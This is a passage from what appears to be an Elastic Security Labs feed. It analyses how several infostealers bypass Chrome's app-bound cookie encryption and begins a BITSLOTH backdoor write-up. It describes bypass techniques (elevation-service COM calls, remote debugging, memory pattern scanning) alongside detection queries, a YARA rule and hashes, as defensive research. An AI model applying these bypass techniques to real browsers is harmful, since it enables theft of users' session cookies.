<p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image23.png" alt="Constructing string for data exfiltration" /></p>
<h2>METASTEALER</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image26.png" alt="METASTEALER announcement and translation" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" /></p>
<p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image11.png" alt="Code comparison between an old and a new version of the family" /></p>
<p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p>
<p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image13.png" alt="app_bound_encrypted_key extracted from Chrome json file" /></p>
<p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image35.png" alt="New class for TOKEN impersonation" /></p>
<p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image8.png" alt="New class ComInvoker to invoke methods from GoogleChromeElevationService service" /></p>
<p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p>
<h2>PHEMEDRONE</h2>
<p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image10.png" alt="README.txt within PHEMEDRONE project" /></p>
<p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image27.png" alt="Chrome version verification in PHEMEDRONE" /></p>
<p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" /></p>
<p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image15.png" alt="New Chrome process in remote debug mode" /></p>
<p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" /></p>
<p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image32.png" alt="Cookie data within network capture" /></p>
<h2>XENOSTEALER</h2>
<p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p>
<p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p>
<p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image29.png" alt="Source code of the injected code" /></p>
<h2>LUMMA</h2>
<p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image40.png" alt="" /></p>
<p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image3.png" alt="Dump of CreateProcessW lpApplicationName parameter" /></p>
<p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image7.png" alt="LUMMA seeks chrome.dll in Chrome" /></p>
<p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image36.png" alt="Lumma’s pattern scanning" /></p>
<p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p>
<pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4
</code></pre>
<p>Below is the YARA rule after de-obfuscation:</p>
<pre><code>rule lumma_stealer
{
  meta:
    author = &quot;Elastic Security Labs&quot;
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}
</code></pre>
<p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image25.png" alt="Lumma pattern match on CookieMonster" /></p>
<p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" /></p>
<p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image12.png" alt="Received stolen cookies on the C2 side" /></p>
<h1>Detection</h1>
<p>Below are the following behavioral detections that can be used to identify techniques used by information stealers:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li>
</ul>
<p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors:</p>
<h2>Cookies access by an unusual process</h2>
<p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.file-default*
| where event.category == &quot;file&quot; and event.action == &quot;open&quot; and file.name == &quot;Cookies&quot; and file.path like &quot;*Chrome*&quot;
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image22.png" alt="ES|QL query results for suspicious browser cookies file access" /></p>
<p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query:</p>
<pre><code class="language-sql">sequence by host.id with maxspan=1s
[process where event.action == &quot;end&quot; and process.name == &quot;chrome.exe&quot;] with runs=5
[process where event.action == &quot;start&quot; and process.name == &quot;elevation_service.exe&quot;]
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image4.png" alt="EQL query results for suspicious browser termination" /></p>
<p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image9.png" alt="Google Chrome Elevation COM registry access" /></p>
<pre><code class="language-sql">FROM logs-system.security-default* | where event.code == &quot;4663&quot; and winlog.event_data.ObjectName == &quot;\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}&quot; and not winlog.event_data.ProcessName in (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;, &quot;C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe&quot;) and not winlog.event_data.ProcessName like &quot;C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe&quot; | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" /></p>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image33.png" alt="PHEMEDRONE - network connection to chrome over port 9222" /></p>
<p>The following EQL query can be used to look for unusual processes performing similar behavior:</p>
<pre><code class="language-sql">sequence by host.id, destination.port with maxspan=5s
[network where event.action == &quot;disconnect_received&quot; and
 network.direction == &quot;ingress&quot; and
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and
 source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
[network where event.action == &quot;disconnect_received&quot; and network.direction == &quot;egress&quot; and not
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image1.png" alt="EQL query results for browser debugging activity" /></p>
<h2>Chrome Browser Spawned from an Unusual Parent</h2>
<p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.process-*
| where event.category == &quot;process&quot; and event.type == &quot;start&quot; and to_lower(process.name) == &quot;chrome.exe&quot; and process.command_line like  &quot;*--profile-directory=Default*&quot;
| eval process_parent_path = replace(to_lower(process.parent.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" /></p>
<h2>Untrusted Binaries from Chrome Application folder</h2>
<p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:</p>
<h3>Unsigned DLLs loaded from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.library*
| where event.category == &quot;library&quot; and event.action == &quot;load&quot; and to_lower(dll.path) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<h3>Unsigned executable launched from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.process*
| where event.category == &quot;library&quot; and event.type == &quot;start&quot; and (to_lower(process.executable) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; or to_lower(process.executable) like &quot;c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot;)
and not (process.code_signature.trusted == true and process.code_signature.subject_name == &quot;Goole LLC&quot;)
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" /></p>
<h1>Conclusion</h1>
<p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.</p>
<p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.</p>
<h2>Stealer Bypasses and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d</td>
<td>SHA-256</td>
<td>num.exe</td>
<td>STEALC</td>
</tr>
<tr>
<td>08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37</td>
<td>SHA-256</td>
<td>HardCoreCrack.exe</td>
<td>PHEMEDRONE</td>
</tr>
<tr>
<td>43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d</td>
<td>SHA-256</td>
<td>Ranginess.exe</td>
<td>METASTEALER</td>
</tr>
<tr>
<td>84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176</td>
<td>SHA-256</td>
<td></td>
<td>LUMMA</td>
</tr>
<tr>
<td>b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b</td>
<td>SHA-256</td>
<td>XenoStealer.exe</td>
<td>XENOSTEALER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li>
<li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor]]></title>
            <link>https://www.elastic.co/jp/security-labs/bits-and-bytes-analyzing-bitsloth</link>
            <guid>bits-and-bytes-analyzing-bitsloth</guid>
            <pubDate>Thu, 01 Aug 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747.]]></description>
            <content:encoded><![CDATA[<h2>BITSLOTH at a glance</h2>
<p>BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.</p>
<p>The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.</p>
<h3>Key takeaways</h3>
<ul>
<li>BITSLOTH is a newly discovered Windows backdoor</li>
<li>BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication</li>
<li>BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes</li>
<li>The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers</li>
</ul>
<h2>Discovery</h2>
<p>Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.</p>
<ul>
<li><a href="https://github.com/T4y1oR/RingQ">RINGQ</a></li>
<li><a href="https://github.com/EddieIvan01/iox">IOX</a></li>
<li><a href="https://github.com/ph4ntonn/Stowaway">STOWAWAY</a></li>
<li><a href="https://github.com/BeichenDream/GodPotato">GODPOTATO</a></li>
<li><a href="https://github.com/Ridter/noPac">NOPAC</a></li>
<li><a href="https://github.com/gentilkiwi/mimikatz">MIMIKATZ</a></li>
<li><a href="https://github.com/gabriellandau/PPLFault">PPLFAULT</a></li>
<li><a href="https://github.com/GhostPack/Certify">CERTIFY</a></li>
</ul>
<p>One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image21.png" alt="Screenshot of RingQ demo" /></p>
<p>We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image13.png" alt="RINGQ loading and executing IOX" /></p>
<p>Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image19.png" alt="STOWAWAY proxy usage" /></p>
<p>After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (<code>flengine.dll</code>) inside the ProgramData directory. The actor then executed the music-making program FL Studio (<code>fl.exe</code>). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of <a href="https://www.virustotal.com/gui/file/75747c8b5b3676abde25a8dd66280908c0d0fc57ef054b88a41673619d3bee28/details">FL Studio</a>.</p>
<pre><code>  c:\windows\syswow64\ntdll.dll!0x770841AC
  c:\windows\syswow64\ntdll.dll!0x7709D287
  c:\windows\syswow64\kernelbase.dll!0x76ED435F
  c:\windows\syswow64\kernelbase.dll!0x76ED42EF
  Unbacked!0x14EAB23
  Unbacked!0x14EA8B6
  c:\programdata\pl studio\flengine.dll!0x74AD2F2E
  c:\programdata\pl studio\fl.exe!0xDB3985
  c:\programdata\pl studio\fl.exe!0xDB3E5E
  c:\programdata\pl studio\fl.exe!0xDB4D3F
  c:\windows\syswow64\kernel32.dll!0x76B267F9
  c:\windows\syswow64\ntdll.dll!0x77077F4D
  c:\windows\syswow64\ntdll.dll!0x77077F1B
</code></pre>
<p>This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.</p>
<h4>BITSLOTH overview</h4>
<p>During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the <code>Slaver</code> component and the command and control server as the <code>Master</code> component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image7.png" alt="PDB linked to BITSLOTH sample" /></p>
<p>BITSLOTH employs no obfuscation around control flow or any kind of string encryption.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image9.png" alt="BITSLOTH strings" /></p>
<p>Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (<code>.rdata</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image24.png" alt="Debugging" /></p>
<p>This Simplified Chinese wide-character string translates to:
<code>Note: There is already a program running, do not run it again…</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image29.png" alt="String left by developer" /></p>
<p>These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as <a href="https://www.elastic.co/jp/security-labs/introducing-the-ref5961-intrusion-set">EAGERBEE</a>.</p>
